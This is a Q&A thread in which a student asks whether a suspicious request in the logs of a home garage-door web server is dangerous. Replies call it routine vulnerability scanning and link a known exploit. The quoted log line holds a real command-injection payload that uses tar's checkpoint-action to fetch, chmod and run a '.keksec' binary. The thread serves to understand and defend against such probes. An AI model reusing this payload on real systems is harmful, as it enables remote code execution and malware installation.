I recently set up a python-bottle web server for a school project to essentially open my Garage Door remotely over the internet. Recently I saw the logs had a strange get request and was wondering if anyone knows if I should be worried about this. Just looking up the ip address it appears to be from India I was also wondering if I should be concerned if I get random ips from overseas connecting to my web server in general where the log is what I would expect but the ip is from unknown source.

ex. [Random Ip] "GET /Relay HTTP/1.1" 200 0

Edit: plaintext added. - - [26/Nov/2020 09:36:38] "GET/cgibin/kerbynetAction=x509view&Section=NoAuthREQ&User=&x509type='%0a/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%22wget%20http://;curl%20http://;%20chmod%20777%20/tmp/.keksec.x86;%20/tmp/.keksec.x86%22%0a' HTTP/1.1" 404 1117

Screenshot of log

  • No need to be worried, they're testing for a specific vulnerabilities.
    – Jeroen
    Nov 26, 2020 at 11:18
  • 1
    "Welcome to the Internet" every IP gets scanned and probed a few times a minute
    – schroeder
    Nov 26, 2020 at 11:43
  • To be specific, this seems to be a exploit like exploit-db.com/exploits/49096
    – LvB
    Nov 26, 2020 at 11:56


Browse other questions tagged .